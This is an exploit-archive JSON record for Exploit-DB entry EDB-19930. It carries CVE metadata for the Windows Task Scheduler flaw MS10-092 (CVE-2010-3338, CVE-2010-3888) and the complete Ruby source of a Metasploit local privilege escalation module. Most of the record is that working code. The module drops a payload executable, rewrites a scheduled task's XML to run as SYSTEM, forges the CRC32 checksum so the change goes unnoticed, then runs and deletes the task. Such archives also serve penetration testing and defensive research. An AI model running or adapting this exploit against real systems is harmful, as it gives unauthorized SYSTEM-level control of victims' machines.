{"exploit":{"id":"EDB-19930","name":"Microsoft Windows - Task Scheduler '.XML' Local Privilege Escalation (LPE) (MS10-092) (Metasploit)","description":"Microsoft Windows - Task Scheduler '.XML' Local Privilege Escalation (LPE) (MS10-092) (Metasploit)","cves":["CVE-2010-3888","CVE-2010-3338"],"author":"Metasploit","published":"2012-07-19","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19930","path":"exploits/windows/local/19930.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19930.rb","vulnerabilities":[{"id":"CVE-2010-3888","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in Microsoft Windows on 32-bit platforms allows local users to gain privileges via unknown vectors, as exploited in the wild in July 2010 by the Stuxnet worm, and identified by Kaspersky Lab researchers and other researchers.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-3888","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-3888"},"updatedAt":"2024-09-17T02:42:19.477Z","retrievedAt":"2026-11-27T16:32:47.928Z","stale":false,"error":null},{"id":"CVE-2010-3338","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Windows Task Scheduler in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 does not properly determine the security context of scheduled tasks, which allows local users to gain privileges via a crafted application, aka \"Task Scheduler Vulnerability.\" NOTE: this might overlap CVE-2010-3888.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-3338","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-3338"},"updatedAt":"2024-08-07T03:03:18.911Z","retrievedAt":"2026-11-27T16:08:35.574Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19930.png?v=2","url":"https://exploitbin.com/exploits/EDB-19930","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19930/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19930/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# web site for more information on licensing and terms of use.\n#   http://metasploit.com/\n##\n\nrequire 'msf/core'\nrequire 'msf/core/post/common'\nrequire 'rex'\nrequire 'zlib'\n\n\nclass Metasploit3 < Msf::Exploit::Local\n\n\tinclude Msf::Exploit::EXE\n\tinclude Msf::Post::Common\n\tinclude Msf::Post::File\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info, {\n\t\t\t'Name'          => 'Windows Escalate Task Scheduler XML Privilege Escalation',\n\t\t\t'Description'   => %q{\n\t\t\t\t\tThis module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.\n\t\t\t\tWhen processing task files, the Windows Task Scheduler only uses a CRC32\n\t\t\t\tchecksum to validate that the file has not been tampered with. Also, In a default\n\t\t\t\tconfiguration, normal users can read and write the task files that they have\n\t\t\t\tcreated. By modifying the task file and creating a CRC32 collision, an attacker\n\t\t\t\tcan execute arbitrary commands with SYSTEM privileges.\n\n\t\t\t\tNOTE: Thanks to webDEViL for the information about disable/enable.\n\t\t\t},\n\t\t\t'License'       => MSF_LICENSE,\n\t\t\t'Author'        => [ 'jduck' ],\n\t\t\t'Version'       => '$Revision$',\n\t\t\t'Arch'          => [ ARCH_X86, ARCH_X86_64 ],\n\t\t\t'Platform'      => [ 'windows' ],\n\t\t\t'SessionTypes'  => [ 'meterpreter' ],\n\t\t\t'Targets'       =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows Vista, 7, and 2008', {} ],\n\t\t\t\t],\n\t\t\t'References'    =>\n\t\t\t\t[\n\t\t\t\t\t[ 'OSVDB', '68518' ],\n\t\t\t\t\t[ 'CVE', '2010-3338' ],\n\t\t\t\t\t[ 'BID', '44357' ],\n\t\t\t\t\t[ 'MSB', 'MS10-092' ],\n\t\t\t\t\t[ 'EDB', 15589 ]\n\t\t\t\t],\n\t\t\t'DisclosureDate'=> 'Sep 13 2010',\n\t\t\t'DefaultTarget' => 0\n\t\t}))\n\n\t\tregister_options([\n\t\t\tOptString.new(\"CMD\",      [ false, \"Command to execute instead of a payload\" ]),\n\t\t\tOptString.new(\"TASKNAME\", [ false, \"A name for the created task (default random)\" ]),\n\t\t])\n\n\tend\n\n\tdef check\n\t\tvuln = false\n\t\twinver = sysinfo[\"OS\"]\n\t\taffected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]\n\t\taffected.each { |v|\n\t\t\tif winver.include? v\n\t\t\t\tvuln = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\t\tif not vuln\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\n\t\treturn Exploit::CheckCode::Appears\n\tend\n\n\tdef exploit\n\t\tif sysinfo[\"Architecture\"] =~ /wow64/i\n\t\t\t#\n\t\t\t# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters\n\t\t\t# worse, meterpreter/railgun creates things in a new thread, making it much more\n\t\t\t# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,\n\t\t\t# offer a workaround and error out.\n\t\t\t#\n\t\t\tprint_error(\"Running against via WOW64 is not supported, try using an x64 meterpreter...\")\n\t\t\treturn\n\t\tend\n\n\t\tif check == Exploit::CheckCode::Safe\n\t\t\tprint_error(\"#{winver} is not vulnerable.\")\n\t\t\treturn\n\t\tend\n\n\t\ttaskname = datastore[\"TASKNAME\"] || nil\n\t\tcmd = datastore[\"CMD\"] || nil\n\t\tupload_fn = nil\n\n\t\ttempdir = session.fs.file.expand_path(\"%TEMP%\")\n\t\tif not cmd\n\t\t\t# Get the exe payload.\n\t\t\texe = generate_payload_exe\n\t\t\t#and placing it on the target in %TEMP%\n\t\t\ttempexename = Rex::Text.rand_text_alpha(rand(8)+6)\n\t\t\tcmd = tempdir + \"\\\\\" + tempexename + \".exe\"\n\n\t\t\tprint_status(\"Preparing payload at #{cmd}\")\n\t\t\twrite_file(cmd, exe)\n\t\telse\n\t\t\tprint_status(\"Using command: #{cmd}\")\n\t\tend\n\n\t\t#\n\t\t# Create a new task to do our bidding, but make sure it doesn't run.\n\t\t#\n\t\ttaskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))\n\t\tsysdir = session.fs.file.expand_path(\"%SystemRoot%\")\n\t\ttaskfile = \"#{sysdir}\\\\system32\\\\tasks\\\\#{taskname}\"\n\n\t\tprint_status(\"Creating task: #{taskname}\")\n\t\tcmdline = \"schtasks.exe /create /tn #{taskname} /tr \\\"#{cmd}\\\" /sc monthly /f\"\n#\t\tprint_debug(\"Will Execute:\\n\\t#{cmdline}\")\n\t\texec_schtasks(cmdline, \"create the task\")\n\n\t\t#\n\t\t# Read the contents of the newly creates task file\n\t\t#\n\t\tcontent = read_task_file(taskname, taskfile)\n\n\t\t#\n\t\t# Double-check that we got what we expect.\n\t\t#\n\t\tif content[0,2] != \"\\xff\\xfe\"\n\t\t\t#\n\t\t\t# Convert to unicode, since it isn't already\n\t\t\t#\n\t\t\tcontent = content.unpack('C*').pack('v*')\n\t\telse\n\t\t\t#\n\t\t\t# NOTE: we strip the BOM here to exclude it from the crc32 calculation\n\t\t\t#\n\t\t\tcontent = content[2,content.length]\n\t\tend\n\n\n\t\t#\n\t\t# Record the crc32 for later calculations\n\t\t#\n\t\told_crc32 = crc32(content)\n\t\tprint_status(\"Original CRC32: 0x%x\" % old_crc32)\n\n\t\t#\n\t\t# Convert the file contents from unicode\n\t\t#\n\t\tcontent = content.unpack('v*').pack('C*')\n\n\t\t#\n\t\t# Mangle the contents to now run with SYSTEM privileges\n\t\t#\n\t\tcontent.gsub!('LeastPrivilege', 'HighestAvailable')\n\t\tcontent.gsub!(/<UserId>.*<\\/UserId>/, '<UserId>S-1-5-18</UserId>')\n\t\tcontent.gsub!(/<Author>.*<\\/Author>/, '<Author>S-1-5-18</Author>')\n\t\t#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')\n\t\tcontent.gsub!('Principal id=\"Author\"', 'Principal id=\"LocalSystem\"')\n\t\tcontent.gsub!('Actions Context=\"Author\"', 'Actions Context=\"LocalSystem\"')\n\t\tcontent << \"<!-- ZZ -->\"\n\n\t\t#\n\t\t# Convert it back to unicode\n\t\t#\n\t\tcontent = Rex::Text.to_unicode(content)\n\n\t\t#\n\t\t# Fix it so the CRC matches again\n\t\t#\n\t\tfix_crc32(content, old_crc32)\n\t\tnew_crc32 = crc32(content)\n\t\tprint_status(\"Final CRC32: 0x%x\" % new_crc32)\n\n\t\t#\n\t\t# Write the new content back\n\t\t#\n\t\tprint_status(\"Writing our modified content back...\")\n\t\tfd = session.fs.file.new(taskfile, \"wb\")\n\t\tfd.write \"\\xff\\xfe\" + content\n\t\tfd.close\n\n\t\t#\n\t\t# Validate our results\n\t\t#\n\t\tprint_status(\"Validating task: #{taskname}\")\n\t\texec_schtasks(\"schtasks.exe /query /tn #{taskname}\", \"validate the task\")\n\n\t\t#\n\t\t# Run the task :-)\n\t\t#\n\t\tprint_status(\"Disabling the task...\")\n\t\texec_schtasks(\"schtasks.exe /change /tn #{taskname} /disable\", \"disable the task\")\n\n\t\tprint_status(\"Enabling the task...\")\n\t\texec_schtasks(\"schtasks.exe /change /tn #{taskname} /enable\", \"enable the task\")\n\n\t\tprint_status(\"Executing the task...\")\n\t\texec_schtasks(\"schtasks.exe /run /tn #{taskname}\", \"run the task\")\n\n\n\t\t#\n\t\t# And delete it.\n\t\t#\n\t\tprint_status(\"Deleting the task...\")\n\t\texec_schtasks(\"schtasks.exe /delete /f /tn #{taskname}\", \"delete the task\")\n\tend\n\n\tdef crc32(data)\n\t\ttable = Zlib.crc_table\n\t\tcrc = 0xffffffff\n\t\tdata.unpack('C*').each { |b|\n\t\t\tcrc = table[(crc & 0xff) ^ b] ^ (crc >> 8)\n\t\t}\n\t\tcrc\n\tend\n\n\tdef fix_crc32(data, old_crc)\n\t\t#\n\t\t# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably\n\t\t# reversed from Microsoft's code)\n\t\t#\n\t\tbwd_table = [\n\t\t\t0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,\n\t\t\t0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,\n\t\t\t0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,\n\t\t\t0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,\n\t\t\t0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,\n\t\t\t0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,\n\t\t\t0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,\n\t\t\t0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,\n\t\t\t0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,\n\t\t\t0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,\n\t\t\t0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,\n\t\t\t0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,\n\t\t\t0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,\n\t\t\t0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,\n\t\t\t0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,\n\t\t\t0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,\n\t\t\t0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,\n\t\t\t0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,\n\t\t\t0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,\n\t\t\t0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,\n\t\t\t0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,\n\t\t\t0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,\n\t\t\t0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,\n\t\t\t0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,\n\t\t\t0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,\n\t\t\t0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,\n\t\t\t0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,\n\t\t\t0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,\n\t\t\t0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,\n\t\t\t0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,\n\t\t\t0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,\n\t\t\t0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,\n\t\t\t0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,\n\t\t\t0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,\n\t\t\t0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,\n\t\t\t0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,\n\t\t\t0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,\n\t\t\t0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,\n\t\t\t0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,\n\t\t\t0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,\n\t\t\t0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,\n\t\t\t0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,\n\t\t\t0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,\n\t\t\t0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,\n\t\t\t0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,\n\t\t\t0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,\n\t\t\t0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,\n\t\t\t0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,\n\t\t\t0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,\n\t\t\t0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,\n\t\t\t0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,\n\t\t\t0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,\n\t\t\t0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,\n\t\t\t0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,\n\t\t\t0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,\n\t\t\t0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,\n\t\t\t0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,\n\t\t\t0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,\n\t\t\t0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,\n\t\t\t0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,\n\t\t\t0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,\n\t\t\t0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,\n\t\t\t0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,\n\t\t\t0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9\n\t\t]\n\n\t\tcrc = crc32(data[0, data.length - 12])\n\t\tdata[-12, 4] = [crc].pack('V')\n\n\t\tdata[-12, 12].unpack('C*').reverse.each { |b|\n\t\t\told_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff\n\t\t}\n\t\tdata[-12, 4] = [old_crc].pack('V')\n\tend\n\n\tdef exec_schtasks(cmdline, purpose)\n\t\tcmdline = \"/c #{cmdline.strip} && echo SCHELEVATOR\"\n\t\tlns = cmd_exec('cmd.exe', cmdline)\n\n\t\tsuccess = false\n\t\tlns.each_line { |ln|\n\t\t\tln.chomp!\n\t\t\tif ln =~ /^SUCCESS\\:\\s/\n\t\t\t\tsuccess = true\n\t\t\t\tprint_status(ln)\n\t\t\telse\n\t\t\t\tprint_status(ln)\n\t\t\tend\n\t\t}\n\tend\n\n\n\tdef read_task_file(taskname, taskfile)\n\t\tprint_status(\"Reading the task file contents from #{taskfile}...\")\n\n\t\t# Can't read the file directly on 2008?\n\t\tcontent = ''\n\t\tfd = session.fs.file.new(taskfile, \"rb\")\n\t\tuntil fd.eof?\n\t\t\tcontent << fd.read\n\t\tend\n\t\tfd.close\n\n\t\tcontent\n\tend\n\nend","sha256":"9f10862bf23a940a52c9d996c660ba1c840f4eda9fd29deaebf889179d18eed6","bytes":10449,"fetchedAt":"2026-11-27T16:08:30.854Z","encoding":"utf-8 (display only; download retains original bytes)"}